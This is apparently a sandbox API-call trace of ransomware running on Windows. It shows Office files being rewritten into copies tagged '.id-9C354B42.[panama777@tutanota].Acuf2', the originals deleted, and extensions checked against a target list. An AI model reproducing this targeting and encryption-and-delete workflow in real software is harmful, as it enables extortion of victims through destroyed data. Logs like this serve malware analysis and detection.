	[0263.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0263.505] GetLastError () returned 0x0
	[0263.505] ReadFile (in: hFile=0x218, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x6fd04, lpOverlapped=0x0) returned 1
	[0263.822] WriteFile (in: hFile=0x32c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x6fd10, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x6fd10, lpOverlapped=0x0) returned 1
	[0263.830] ReadFile (in: hFile=0x218, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.830] WriteFile (in: hFile=0x32c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe2, lpOverlapped=0x0) returned 1
	[0263.830] SetEndOfFile (hFile=0x32c) returned 1
	[0263.830] CloseHandle (hObject=0x32c) returned 1
	[0263.830] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.830] SetEndOfFile (hFile=0x218) returned 1
	[0263.840] CloseHandle (hObject=0x218) returned 1
	[0263.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs")) returned 1
	[0263.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55
	[0263.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55
	[0263.861] lstrlenW (lpString=".doc") returned 4
	[0263.862] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0263.862] lstrlenW (lpString=".docx") returned 5
	[0263.862] lstrcmpiW (lpString1=".docx", lpString2="S.HXS") returned -1
	[0263.862] lstrlenW (lpString=".pdf") returned 4
	[0263.862] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0263.862] lstrlenW (lpString=".xls") returned 4
	[0263.862] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0263.862] lstrlenW (lpString=".xlsx") returned 5
	[0263.862] lstrcmpiW (lpString1=".xlsx", lpString2="S.HXS") returned -1
	[0263.862] lstrlenW (lpString=".ppt") returned 4
	[0263.862] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0263.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55
	[0263.862] lstrlenW (lpString=".zip") returned 4
	[0263.862] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0263.862] lstrlenW (lpString=".rar") returned 4
	[0263.862] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0263.862] lstrlenW (lpString=".bz2") returned 4
	[0263.862] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0263.862] lstrlenW (lpString=".7z") returned 3
	[0263.862] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0263.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55
	[0263.862] lstrlenW (lpString=".dbf") returned 4
	[0263.862] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0263.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55
	[0263.862] lstrlenW (lpString=".1cd") returned 4
	[0263.863] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0263.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55
	[0263.863] lstrlenW (lpString=".jpg") returned 4
	[0263.863] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0263.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55
	[0263.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55
	[0263.863] lstrlenW (lpString=".doc") returned 4
	[0263.863] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0263.863] lstrlenW (lpString=".docx") returned 5
	[0263.863] lstrcmpiW (lpString1=".docx", lpString2="S.HXS") returned -1
	[0263.863] lstrlenW (lpString=".pdf") returned 4
	[0263.863] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0263.863] lstrlenW (lpString=".xls") returned 4
	[0263.863] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0263.863] lstrlenW (lpString=".xlsx") returned 5
	[0263.863] lstrcmpiW (lpString1=".xlsx", lpString2="S.HXS") returned -1
	[0263.863] lstrlenW (lpString=".ppt") returned 4
	[0263.863] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0263.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55
	[0263.863] lstrlenW (lpString=".zip") returned 4
	[0263.863] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0263.863] lstrlenW (lpString=".rar") returned 4
	[0263.863] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0263.863] lstrlenW (lpString=".bz2") returned 4
	[0263.863] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0263.863] lstrlenW (lpString=".7z") returned 3
	[0263.863] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0263.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55
	[0263.863] lstrlenW (lpString=".dbf") returned 4
	[0263.863] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0263.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55
	[0263.863] lstrlenW (lpString=".1cd") returned 4
	[0263.864] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0263.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55
	[0263.864] lstrlenW (lpString=".jpg") returned 4
	[0263.864] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0263.864] lstrcmpiW (lpString1=".VSL", lpString2=".Acuf2") returned 1
	[0263.864] lstrlenW (lpString="ORGWIZ.VSL") returned 10
	[0263.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0263.864] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=66992) returned 1
	[0263.864] CloseHandle (hObject=0x220) returned 1
	[0263.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl")) returned 0x20
	[0263.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0263.865] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.865] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0263.865] GetLastError () returned 0x0
	[0263.865] ReadFile (in: hFile=0x220, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x105b0, lpOverlapped=0x0) returned 1
	[0263.876] WriteFile (in: hFile=0x358, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x105c0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x105c0, lpOverlapped=0x0) returned 1
	[0263.878] ReadFile (in: hFile=0x220, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.878] WriteFile (in: hFile=0x358, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0263.879] SetEndOfFile (hFile=0x358) returned 1
	[0263.879] CloseHandle (hObject=0x358) returned 1
	[0263.879] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.879] SetEndOfFile (hFile=0x220) returned 1
	[0263.882] CloseHandle (hObject=0x220) returned 1
	[0263.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl")) returned 1
	[0263.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58
	[0263.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58
	[0263.882] lstrlenW (lpString=".doc") returned 4
	[0263.882] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0263.882] lstrlenW (lpString=".docx") returned 5
	[0263.882] lstrcmpiW (lpString1=".docx", lpString2="Z.VSL") returned -1
	[0263.882] lstrlenW (lpString=".pdf") returned 4
	[0263.882] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0263.882] lstrlenW (lpString=".xls") returned 4
	[0263.882] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0263.882] lstrlenW (lpString=".xlsx") returned 5
	[0263.882] lstrcmpiW (lpString1=".xlsx", lpString2="Z.VSL") returned -1
	[0263.883] lstrlenW (lpString=".ppt") returned 4
	[0263.883] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0263.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58
	[0263.883] lstrlenW (lpString=".zip") returned 4
	[0263.883] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0263.883] lstrlenW (lpString=".rar") returned 4
	[0263.883] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0263.883] lstrlenW (lpString=".bz2") returned 4
	[0263.883] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0263.883] lstrlenW (lpString=".7z") returned 3
	[0263.883] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0263.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58
	[0263.883] lstrlenW (lpString=".dbf") returned 4
	[0263.883] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0263.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58
	[0263.883] lstrlenW (lpString=".1cd") returned 4
	[0263.883] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0263.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58
	[0263.883] lstrlenW (lpString=".jpg") returned 4
	[0263.883] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0263.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58
	[0263.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58
	[0263.883] lstrlenW (lpString=".doc") returned 4
	[0263.883] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0263.883] lstrlenW (lpString=".docx") returned 5
	[0263.883] lstrcmpiW (lpString1=".docx", lpString2="Z.VSL") returned -1
	[0263.883] lstrlenW (lpString=".pdf") returned 4
	[0263.883] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0263.883] lstrlenW (lpString=".xls") returned 4
	[0263.883] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0263.883] lstrlenW (lpString=".xlsx") returned 5
	[0263.884] lstrcmpiW (lpString1=".xlsx", lpString2="Z.VSL") returned -1
	[0263.884] lstrlenW (lpString=".ppt") returned 4
	[0263.884] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0263.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58
	[0263.884] lstrlenW (lpString=".zip") returned 4
	[0263.884] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0263.884] lstrlenW (lpString=".rar") returned 4
	[0263.884] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0263.884] lstrlenW (lpString=".bz2") returned 4
	[0263.884] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0263.884] lstrlenW (lpString=".7z") returned 3
	[0263.884] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0263.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58
	[0263.884] lstrlenW (lpString=".dbf") returned 4
	[0263.884] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0263.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58
	[0263.884] lstrlenW (lpString=".1cd") returned 4
	[0263.884] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0263.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58
	[0263.884] lstrlenW (lpString=".jpg") returned 4
	[0263.884] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0263.884] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0263.884] lstrlenW (lpString="OUTLLIBR.DLL") returned 12
	[0263.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0263.885] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=6573424) returned 1
	[0263.885] CloseHandle (hObject=0x220) returned 1
	[0263.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll")) returned 0x20
	[0263.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.885] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0263.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60
	[0263.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60
	[0263.885] lstrlenW (lpString=".doc") returned 4
	[0263.885] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0263.885] lstrlenW (lpString=".docx") returned 5
	[0263.886] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1
	[0263.886] lstrlenW (lpString=".pdf") returned 4
	[0263.886] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0263.886] lstrlenW (lpString=".xls") returned 4
	[0263.886] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0263.886] lstrlenW (lpString=".xlsx") returned 5
	[0263.886] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1
	[0263.886] lstrlenW (lpString=".ppt") returned 4
	[0263.886] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0263.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60
	[0263.886] lstrlenW (lpString=".zip") returned 4
	[0263.886] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0263.886] lstrlenW (lpString=".rar") returned 4
	[0263.886] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0263.886] lstrlenW (lpString=".bz2") returned 4
	[0263.886] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0263.886] lstrlenW (lpString=".7z") returned 3
	[0263.886] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0263.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60
	[0263.886] lstrlenW (lpString=".dbf") returned 4
	[0263.886] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0263.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60
	[0263.886] lstrlenW (lpString=".1cd") returned 4
	[0263.886] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0263.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60
	[0263.886] lstrlenW (lpString=".jpg") returned 4
	[0263.886] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0263.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60
	[0263.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60
	[0263.886] lstrlenW (lpString=".doc") returned 4
	[0263.887] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0263.887] lstrlenW (lpString=".docx") returned 5
	[0263.887] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1
	[0263.887] lstrlenW (lpString=".pdf") returned 4
	[0263.887] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0263.887] lstrlenW (lpString=".xls") returned 4
	[0263.887] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0263.887] lstrlenW (lpString=".xlsx") returned 5
	[0263.887] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1
	[0263.887] lstrlenW (lpString=".ppt") returned 4
	[0263.887] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0263.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60
	[0263.887] lstrlenW (lpString=".zip") returned 4
	[0263.887] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0263.887] lstrlenW (lpString=".rar") returned 4
	[0263.887] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0263.887] lstrlenW (lpString=".bz2") returned 4
	[0263.887] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0263.887] lstrlenW (lpString=".7z") returned 3
	[0263.887] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0263.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60
	[0263.887] lstrlenW (lpString=".dbf") returned 4
	[0263.887] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0263.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60
	[0263.887] lstrlenW (lpString=".1cd") returned 4
	[0263.887] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0263.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60
	[0263.887] lstrlenW (lpString=".jpg") returned 4
	[0263.887] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0263.888] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Acuf2") returned 1
	[0263.888] lstrlenW (lpString="OUTLLIBR.DLL.IDX_DLL") returned 20
	[0263.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0263.888] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=119680) returned 1
	[0263.888] CloseHandle (hObject=0x220) returned 1
	[0263.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll")) returned 0x20
	[0263.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0263.888] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.888] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0263.889] GetLastError () returned 0x0
	[0263.889] ReadFile (in: hFile=0x220, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x1d380, lpOverlapped=0x0) returned 1
	[0263.896] WriteFile (in: hFile=0x358, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x1d390, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x1d390, lpOverlapped=0x0) returned 1
	[0263.899] ReadFile (in: hFile=0x220, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.899] WriteFile (in: hFile=0x358, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xfc, lpOverlapped=0x0) returned 1
	[0263.899] SetEndOfFile (hFile=0x358) returned 1
	[0263.899] CloseHandle (hObject=0x358) returned 1
	[0263.899] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.900] SetEndOfFile (hFile=0x220) returned 1
	[0263.903] CloseHandle (hObject=0x220) returned 1
	[0263.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll")) returned 1
	[0263.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68
	[0263.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68
	[0263.904] lstrlenW (lpString=".doc") returned 4
	[0263.904] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0263.904] lstrlenW (lpString=".docx") returned 5
	[0263.904] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0263.904] lstrlenW (lpString=".pdf") returned 4
	[0263.904] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0263.904] lstrlenW (lpString=".xls") returned 4
	[0263.904] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0263.904] lstrlenW (lpString=".xlsx") returned 5
	[0263.904] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0263.904] lstrlenW (lpString=".ppt") returned 4
	[0263.904] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
